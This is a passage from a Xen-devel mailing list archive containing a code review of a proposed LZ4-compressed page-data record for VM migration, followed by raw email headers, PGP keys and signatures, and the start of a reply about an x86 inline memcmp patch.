> > +    | count (C)             | (reserved)              |
> > +    +-----------------------+-------------------------+
> > +    | pfn[0]                                          |
> > +    +-------------------------------------------------+
> > +    ...
> > +    +-------------------------------------------------+
> > +    | pfn[C-1]                                        |
> > +    +-----------+-------------------------------------+
> > +    | clen[0]   | page_data_lz4[0]...                 |
> > +    +-----------+-------------------------------------+
> > +    ...
> > +    +-----------+-------------------------------------+
> > +    | clen[N-1] | page_data_lz4[N-1]...               |
> > +    ...
> > +    +-------------------------------------------------+
> > +
> > +--------------------------------------------------------------------
> > +Field       Description
> > +----------- --------------------------------------------------------
> > +count       Number of pages described in this record.
> > +
> > +pfn         An array of count PFNs and their types, with the same
> > +            layout and page types as in a PAGE_DATA record.
> > +
> > +data_lz4    The compressed page contents, as one sub-block per page
> > +            set as present in the pfn array, in pfn-array order (i.e.
> > +            N sub-blocks, with N as in a PAGE_DATA record: N <=3D C).
> > +            Each sub-block is a `uint16` little-endian length `clen`
> > +            followed by either an LZ4 block or a raw page.  When
> > +            `clen > 0`, page_data_lz4 is `clen` octets of a raw LZ4
> > +            block (per the LZ4 block format) whose decompressed output
> > +            is one page_size page.  When `clen =3D=3D 0`, page_data_lz=
4 is
> > +            page_size octets of a raw, uncompressed page.
> > +            A compressed `clen` is at most page_size - 1, occupying
> > +            only the low 12 bits; the top 4 bits are reserved for
> > +            future use and must be 0.
> > +--------------------------------------------------------------------
> > +
> > +The `count` (C) and `pfn` fields are identical in meaning and
> > +constraints to those of a PAGE_DATA record, and N (the number of
> > +present pages, N <=3D C) is as defined there.  Unlike PAGE_DATA, a
> > +PAGE_DATA_LZ4 record always has N >=3D 1 (at least one sub-block):
> > +the saver emits the LZ4 variant only when there is page data to
> > +compress, and a restoring side rejects a PAGE_DATA_LZ4 record with
> > +N =3D=3D 0.  When a batch has no present pages (all pfns of invalid
> > +types) the saver emits a plain PAGE_DATA record instead.
> > +
> > +PAGE_DATA_LZ4 is a _mandatory_ record: a restoring side that does not
> > +support it must fail the migration.
> > +
>
> The inline clen at the beginning of page_data_lz4 feels a bit odd to me,
> or at least, a bit inconsistent with how pfns are arranged. I think
> something like i.e
>
> 1. count and (reserved)
> 2. pfn[0] ... pfn[C-1]
> 3. clen[0] ... clen[N-1]
> 4. page_data_lz4[0] ... page_data_lz4[N-1]
>
> would be better.
>
> Though, aside that, I'm not sure having separate compressed block for
> each page is a good idea. Compression is more efficient when processing
> larger blocks, LZ4 documents a 64 KB deduplication window (of the past
> bytes) [1].
>
> In my opinion, it may be preferable to have one large block with all the
> page datas (covering up to MAX_BATCH_SIZE=3D1024 pages) rather than havin=
g
> to uncompress individual blocks. Which in the end would remove the need
> to have individual clen[n].
>

I was thinking the same. Talking with the author today one reason is
that bytes could change while compressing them (because they are
shared with the guest which is running) but on following updates
(dirty pages map is used) they get updated and fixed (otherwise VM
will crash).
However we could copy the memory to avoid this. Considering the
algorithm (in this case) has a window of 64 K we could compress and
copy in 64 K chunks to reduce memory usage and increase cache (as
processor one) usage (if that's an issue).

> What do you think ?
>
> [1]
> https://github.com/lz4/lz4/blob/dev/doc/lz4_Block_format.md#compression-t=
echniques
> ...
>
> >
> > base-commit: a7fd7d4cbd5e793d31d61c25e08526b330edd7f8
>
> Teddy

Frediano


From xen-devel-bounces@lists.xenproject.org Wed Jul 22 21:31:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 21:31:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368832.1617963 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmeWY-0004XP-Ci; Wed, 22 Jul 2026 21:30:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368832.1617963; Wed, 22 Jul 2026 21:30:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmeWY-0004XI-AA; Wed, 22 Jul 2026 21:30:42 +0000
Received: by outflank-mailman (input) for mailman id 1368832;
 Wed, 22 Jul 2026 21:30:40 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f8bbccffd000edb5@swg.vates.tech>)
 id 1wmeWV-0004XC-EU
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 21:30:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmeWU-00GmrZ-O2
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 23:30:38 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f8bbccffd000edb5@swg.vates.tech>)
 id 6a613661-5cb7-0a2a0a5109dd-0a2a4501c0b4-18
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 23:30:38 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f8bbccffd000edb5@swg.vates.tech>)
 id 6a61367d-5984-0a2a45010019-b9ff1c228b55-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 23:30:38 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f8bbccffd000edb5.006 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 22 Jul 2026 21:30:34 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id CBB6582A78;
 Wed, 22 Jul 2026 23:30:33 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=RPtd5eKjPkKYRQ7hQCR3S35Dh204WPgYqREXUHyC1EM=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=Gu7oVf59FeXItOR6GN26G0TwUk1ZuFqCgU/o21COjRxpJT6HH14kAbsCb+waYBxYhuQdqVya1
 n+VUmRgM/Jd+7Oy0KU51lhZxEEAMYeFQvyF56DTXce7kpz3mP47UsGl0quWRKNvKa6bVviTnBA6
 J1Akil0OcQUgCeR3cTNcdA2DkPIekse8OPitQP2XUUbYDtjURHea3HYDBwu62EryHH6UNLPpUZK
 Dm1UEtcOFLKrk13FNPhzq+g9WHspxj/mIa7W0he98PhXX4vcL9m0IpYyVmOWTouqXvOrJRmxzWD
 bsoJUJwDGMUx4QjoGM8PUvjsTCn4foJ4DaSzdocQ5pcw==
X-Zone-Loop: 6acc51287886a0a240a211c837c3d5aecae62c48081f
x-campaign-type: default
x-transaction-id: 9c010821-563b-4498-bacb-31705c7868f3
x-swg-uid: 01-a0b092f5-8ca9-43e3-92be-c2e16533f957
X-Mailer: Sweego
Message-ID:
 <1784755834.8631fc262581453bbf619ec5b2062170.19f8bbccffd000edb5@vates.tech>
x-swg-bid: 1784755834.8631fc262581453bbf619ec5b2062170.19f8bbccffd000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 22 Jul 2026 23:30:33 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1 1/6] tools/migration: introduce PAGE_DATA_LZ4 stream
 record type
To: Frediano Ziglio <freddy77@gmail.com>
Cc: Marcus Granado <marcus.granado@citrix.com>,
 xen-devel@lists.xenproject.org, Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
References: <20260720154832.1907401-1-marcus.granado@citrix.com>
 <20260720154832.1907401-2-marcus.granado@citrix.com>
 <1784622046.8631fc262581453bbf619ec5b2062170.19f83c35cd4000edb5@vates.tech>
 <CAHt6W4erBfB+H_0d+2rQ0apz9Jt6ex+WVjEjyPm6EApoHVJgmg@mail.gmail.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+S
 PhHar7TPKjFz0G3DPNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89
 MXfQXZ3qt1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
 LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzH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q1wZIJsFToR6ofGuyECwFcs+PUXN7fmGRSiPXgjAr/zIUBdW0VWCE3OGPNqtRk2E5s6
 IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWjmoACGwwA
 CgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiVoUiHYN5QwhnbZnsa
 JDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764QxyX6rld2f2RcWkDuBHun55ZWXj
 by8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <CAHt6W4erBfB+H_0d+2rQ0apz9Jt6ex+WVjEjyPm6EApoHVJgmg@mail.gmail.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------pQu0vINaeHglxZZV0UCwymNs"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784755834008
X-purgate-ID: tlsNG-d62444/1784755838-BDC79757-BE642625/0/0
X-purgate-type: clean
X-purgate-size: 16910

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------pQu0vINaeHglxZZV0UCwymNs
Content-Type: multipart/mixed; boundary="------------C2lYQs2ziZNVUYcyVbUhMTt3";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: Marcus Granado <marcus.granado@citrix.com>,
 xen-devel@lists.xenproject.org, Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
Message-ID: <3e7f080b-a550-45bf-a31c-ffcfc099476f@vates.tech>
Subject: Re: [PATCH v1 1/6] tools/migration: introduce PAGE_DATA_LZ4 stream
 record type
References: <20260720154832.1907401-1-marcus.granado@citrix.com>
 <20260720154832.1907401-2-marcus.granado@citrix.com>
 <1784622046.8631fc262581453bbf619ec5b2062170.19f83c35cd4000edb5@vates.tech>
 <CAHt6W4erBfB+H_0d+2rQ0apz9Jt6ex+WVjEjyPm6EApoHVJgmg@mail.gmail.com>
In-Reply-To: <CAHt6W4erBfB+H_0d+2rQ0apz9Jt6ex+WVjEjyPm6EApoHVJgmg@mail.gmail.com>

--------------C2lYQs2ziZNVUYcyVbUhMTt3
Content-Type: multipart/mixed; boundary="------------82y0wiWF4Wh0cv3HKOQpk20W"

--------------82y0wiWF4Wh0cv3HKOQpk20W
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMjIvMDcvMjAyNiDDoCAyMTo0NiwgRnJlZGlhbm8gWmlnbGlvIGEgw6ljcml0wqA6DQo+
IE9uIFR1ZSwgMjEgSnVsIDIwMjYgYXQgMDk6MjAsIFRlZGR5IEFzdGllIDx0ZWRkeS5hc3Rp
ZUB2YXRlcy50ZWNoPiB3cm90ZToNCj4+DQo+PiBMZSAyMC8wNy8yMDI2IMOgIDE3OjUxLCBN
YXJjdXMgR3JhbmFkbyBhIMOpY3JpdCA6DQo+Pj4gQWxsb2NhdGUgYSBuZXcgbWlncmF0aW9u
IHN0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5nIA0KZWFjaCAzMiBLQiBibG9ja3MsIHNvIGl0IHdpbGwgbm8gbG9u
Z2VyIGJlIHNpbXBseSBhIExaNCBibG9jay4NCg0KQnV0IHRoYXQgbWF5IGJlIHRvbyBtdWNo
IGZvciBqdXN0IGNodW5raW5nIGEgNCBNQiAobWF4aW11bSkgYmxvY2sgc28gSSdtIA0Kbm90
IHJlYWxseSBjZXJ0YWluIG9mIHdoYXQncyBiZXN0IGFjdHVhbGx5Lg0KDQpbMV0gaHR0cHM6
Ly9naXRodWIuY29tL2x6NC9sejQvYmxvYi9kZXYvZG9jL2x6NF9GcmFtZV9mb3JtYXQubWQN
Cg0KPj4gV2hhdCBkbyB5b3UgdGhpbmsgPw0KPj4NCj4+IFsxXQ0KPj4gaHR0cHM6Ly9naXRo
dWIuY29tL2x6NC9sejQvYmxvYi9kZXYvZG9jL2x6NF9CbG9ja19mb3JtYXQubWQjY29tcHJl
c3Npb24tdGVjaG5pcXVlcw0KPj4gLi4uDQo+Pg0KPj4+DQo+Pj4gYmFzZS1jb21taXQ6IGE3
ZmQ3ZDRjYmQ1ZTc5M2QzMWQ2MWMyNWUwODUyNmIzMzBlZGQ3ZjgNCj4+DQo+PiBUZWRkeQ0K
PiANCj4gRnJlZGlhbm8NCj4gDQoNClRlZGR5DQo=
--------------82y0wiWF4Wh0cv3HKOQpk20W
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA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3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------82y0wiWF4Wh0cv3HKOQpk20W--

--------------C2lYQs2ziZNVUYcyVbUhMTt3--

--------------pQu0vINaeHglxZZV0UCwymNs
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmphNnkFAwAAAAAACgkQZg+p0QLLz9Cn
TAv8C3S+AmvidjJDtENvDLcvh4/B5IS4lsS2QWvVsQbaz4Mhmpz2PvSFonQEKE7fYxfs6gn81uQq
GvMfTJRncr/o0LtIjeDzqhO+h2tO1zEWK0IT4oQa0DFhBm0g/7QLSZ6B/2NlEcWFJnEVm3/SyOq2
GnGNZiFmrVA1mX0iFsNxd/48Ajpi5liED+wdya6RSk1eQunnSClZbWk496mBzl7ZJOlsb7MEXSSC
9uplracqTz/bBWnohLlOjPhsELFld+QHQGdyT/1I36EB/+f8gpIblRGWMusXpcFK2SQOViMzucaa
lw8BOXp05spzapINyEYJFkNctoh2Xot/HPHU0LL9EmNBbbSAaiGyX09SioZP1mIAXw2mGa8qVGli
0R56XlnzYbHhmZBsRtv8F7gXityrTOmkU2YtKvV2n5DM15WEgIuzmILJNmzQpmg8F5S/aZ+Fw31r
ECZ15e8HlHAUhLLnTEi/BpezyTjBDGBYtg6q0gwjfjQ76sZhWr5ZYu2cVLl/
=mivL
-----END PGP SIGNATURE-----

--------------pQu0vINaeHglxZZV0UCwymNs--


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 07:00:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 07:00:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368922.1617972 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmnPE-00046X-OB; Thu, 23 Jul 2026 06:59:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368922.1617972; Thu, 23 Jul 2026 06:59:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmnPE-00046P-Jb; Thu, 23 Jul 2026 06:59:44 +0000
Received: by outflank-mailman (input) for mailman id 1368922;
 Thu, 23 Jul 2026 06:59:42 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wmnPC-00046J-P8
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 06:59:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmnPB-00Ehdg-O4
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 08:59:41 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a61bbdb-bab6-0a2a0a5309dd-0a2a4502a22a-12
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 08:59:41 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a61bbdd-6ca4-0a2a45020019-d1558035e016-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 08:59:41 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-4956242332dso2650695e9.2
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 23:59:41 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4956a6354a3sm198616985e9.10.2026.07.22.23.59.40
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 22 Jul 2026 23:59:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784789981; x=1785394781; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=xjAZiGXpd0CSGVgZfcdRxovUfmNvf7gTbYTIde+ER0I=;
        b=IfU6VVu/Bqiqws5EJFGbJvjRdm9GLudOzEL6ITLimNUPcvQGZYLSw7vtHPuhFVlP4f
         2lGkr/x5Gpvw7dQGTyLfqhp7TMO8tjljC+4U+jfhyuCvH3PpU6mIF7R69dfdwFaaArri
         JqeUbyuu63bLxJXMvgQ0nmkpqMtTkwssy1EAxsRpRNKcPwoawHJtJN2EihCg8uGJoUs6
         Ysk8ScnEUfnn5FhbtURwWDODSO2MoM0znmax9qpttoZSh/Y1E31BGh2CoUe2p6f2PAxu
         im625OFSTTzJ2E73c554QjEDUMNrBc7xC8HcfhfMlaQUgGSc7h3jMfuP/zw3miRPb3wV
         rMGg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784789981; x=1785394781;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=xjAZiGXpd0CSGVgZfcdRxovUfmNvf7gTbYTIde+ER0I=;
        b=iRGMWmZvDyRSULwbv+OjnXLViPafC/WPoaqVP3UNQtFD+OJZ/qaFCc79awmHOELcxT
         cjQKleCKWB76ws5JAsrmv9k360kEr+Dq//914AxbsLOqjgjy+7U/EZyE8XUXuqlUUO5P
         MRJ/Q9uQZCzqyX0gckcYtAmjH/3zkRpQ4G6fRr6YID7uCOLSHXZh3c1iYiIrcHhv2DX4
         WP27o5s2QviL3TStY+J6OOhUT42QmRTheqAqMXubZ0c653mQMVNGl3EpU4Jx/ejcMx1V
         2HWnkLaVhSREVpwBkccpPLYtiAUBP8JOPRqqen4xQpi6Wxcw9mz/aR1GSPSV6nEdmph8
         YQNg==
X-Forwarded-Encrypted: i=1; AHgh+Ro1LWUqw15dw19SmsMpxcfSFOzBsMGzJWQW9fcsbbKctZslLyu2A5zQSCxpICl3Vj+Q2SNPY8rHMHE=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwmX3ofPUZ+toJAi86FpJLH6Ct2GxUfxq0ponQ9IXObDP6buwv0
	/W7eAzlpb2dU9MXP9yByFui4vatOyCiaJ/Y8iu4iHLk3dAgglt+ebo+KF4ircxdr7g==
X-Gm-Gg: AR+sD11Wxnep8jcBAeAKTsRQCIu2fDzAdqkGNd918lGGhdopPLWUcBmHz2UN4POnjw/
	mfKsNwuVskZ21zTKvXIYQjvtLMyDbjvnxj3EAAGFJHjPaiAcMKiUlVzmalrbmG5KS+LyIIapiEq
	hjVki1tGBPRgNM4hLyN+quaG3AsTQk5OR76L74X+SHpKYR5Sq8egrVWcp6Q1HaRoQb/1LABB3Bc
	bK5+g6SrL56BaH+62h8HQBzzsfqgHIOy9XKQz9rGFdzuGrAo66hDbC78yzBd/m/sHuPNXcvkZTj
	S+UHfqdxad8cpdy10Cr/FeV0WemcKrufB0cxfEmgzVAhv5IlkmDis60EFh9xX9E8gj8BMithO9y
	6bMvebr0kWlOIf3IaecFS4+X0ouuv4edGcoZYMpwwGb15QF2boIahbwZYOauvWLshA7fF+CoHIY
	6rnrLidw7zyZcy99Xhv6VXUTiPjuRx9hbbx/cLsWv5DyJjDZNuLED/KSSrphcZ6hT0/Q==
X-Received: by 2002:a05:600c:6012:b0:495:4d2d:82f2 with SMTP id 5b1f17b1804b1-49573d0eb3emr12449405e9.26.1784789980946;
        Wed, 22 Jul 2026 23:59:40 -0700 (PDT)
Message-ID: <4daed8ac-b533-436f-9f86-6d297b87abbb@suse.com>
Date: Thu, 23 Jul 2026 08:59:39 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 2/5] x86/asm: add volatile, clobbers and zero-length
 check in inline memcmp
To: "H. Peter Anvin" <hpa@zytor.com>,
 Mauricio Faria de Oliveira <mfo@igalia.com>
Cc: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
 Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>,
 Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
 linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org,
 Borislav Petkov <bp@alien8.de>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
 <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com>
 <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
 <0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
